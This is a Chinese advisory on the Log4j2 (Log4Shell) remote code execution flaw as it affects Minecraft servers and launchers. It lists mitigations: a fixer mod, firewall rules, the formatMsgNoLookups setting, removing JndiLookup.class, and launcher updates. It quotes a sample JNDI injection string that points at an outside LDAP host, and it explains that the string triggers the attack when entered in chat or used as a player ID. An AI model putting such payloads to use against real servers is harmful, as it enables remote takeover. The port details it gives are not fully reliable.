Log4j2 是一个基于 java 的日志组件,被广泛应用于与 java 语言相关的软件或组件中,被广泛用于 Web、后端开发、大数据等业务系统开发。由于 Log4j 2在 java 语言的广泛应用,漏洞风险也随之而来,该漏洞利用无需特殊配置,就能轻易的反序列化代码执行漏洞以及导致服务器被入侵等危害。这也影响了以 java为主的minecraft服务器运行。
在12月9日晚间出现了 Apache Log4j2 远程代码执行漏洞攻击代码后,多方公司以及项目均受影响。
目前:Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等,最深受其害的当属为 Minecraft,Minecraft 所采用的是日志工具,这一漏洞攻击出现后,在 Minecraft 服务器端,包括 Forge、官方端等服务端,以及非官方的或旧版的客户端全线受到影响。除 Mohist 1.18外。
Log4j2 相关的MC 服务器入侵问题解决方案
攻击模式
目前这个 Log4j2 漏洞,最可怕的是它太容易上手了。攻击者只要使目标系统产生特定的日志即可实现代码注入,即:使目标系统执行指定代码,就能访问对方的服务器,甚至远程控制被攻击者的服务器。甚至连最高权限都能轻松获得。
攻击者只需发送一则特殊的消息到服务器(包含类似 ${jndi:ldap://server.com/a} 的字符串),就可以执行任意的代码,进而可能完全控制该系统。
拿这次最先受到的波及的 Minecraft 来说,攻击者只需要登录腐竹服务器后,在聊天频道中输入关键字触发后,就能使得所有的玩家的服务端崩溃。包括任何可能导致服务端 Logger 记录指定关键词的行为,还又在不进入服务器进行任何操作的情况下使用包含关键词游戏 ID 对服务器进行攻击,也是能导致服务器崩溃的。
解决方案
方案一
直接拦截了玩家在聊天栏输入特定内容,也拦截了服务端发送给客户端特定内容,
安装 EastLandLog4jFixer,服务器也不会由于非法用户在聊天栏等地方输入特定字符串,从而导致其他在线玩家客户端被非法入侵。
方案二
禁用 LDAP 端口(TCP/UDP 386/636)
通过Windows防火墙禁用端口:
- 点击 “控制面板-Windows防火墙”,确保启用了Windows防火墙。. 在左边栏点击“高级设置”,系统会自动弹出 Windows 防火墙高级配置窗口。
- 点击“入站规则”,然后再点“新建规则…”,在向导窗口中选择要创建的规则类型,这里选“端口”,点击“下一步”。
- 接下来选择你要禁用的网络类型(TCP或者UDP),在“特定本地端口”写入你要禁用的端口,例如“445”,然后下一步。. 选择“阻止连接”,下一步,应用规则看情况修改,可以维持不变,继续下一步,填写名称“禁用445端口”,点击完成。.
- 到这里应该就完成了,默认情况下新建的规则会直接启用。 如果没有,那么右键 “启用规则”即可。
- 禁止没有必要的业务访问外网。
- 设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”
- 设置“log4j2.formatMsgNoLookups=True”
- 系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
【备注】:建议您在升级前做好数据备份工作,避免出现意外漏
方案三
关于 Log4j CVE 漏洞的修复方法:尝试删除服务端 .jar 文件下的 org/apache/logging/log4j/core/lookup/JndiLookup.class
其他方案
启动器处理办法
PCL2 启动器:已发布紧急更新 2.2.7,下载更新到最新版并重启 MC 即可防御该漏洞。
下载 1:https://wwa.lanzouo.com/iZDoCxg4xgh
下载 2:https://pan.baidu.com/s/1KW0NaaIZ90mILyW1MvV4bw (提取码: 6ba9)
BakaXL 启动器:已发布紧急更新,同样更新到最新版并重启 MC 即可。
HMCL 启动器:截止本文发布尚未修复,请在启动器设置的 “Java 虚拟机参数” 一项中输入 “-XX: UseG1GC -XX:-UseAdaptiveSizePolicy -XX:-OmitStackTraceInFastThrow -Dfml.ignoreInvalidMinecraftCertificates=True -Dfml.ignorePatchDiscrepancies=True -Dlog4j2.formatMsgNoLookups=true”,然后重启 MC,即可临时防御该漏洞。
其他启动器:请参考 HMCL 启动器的方式进行临时防御。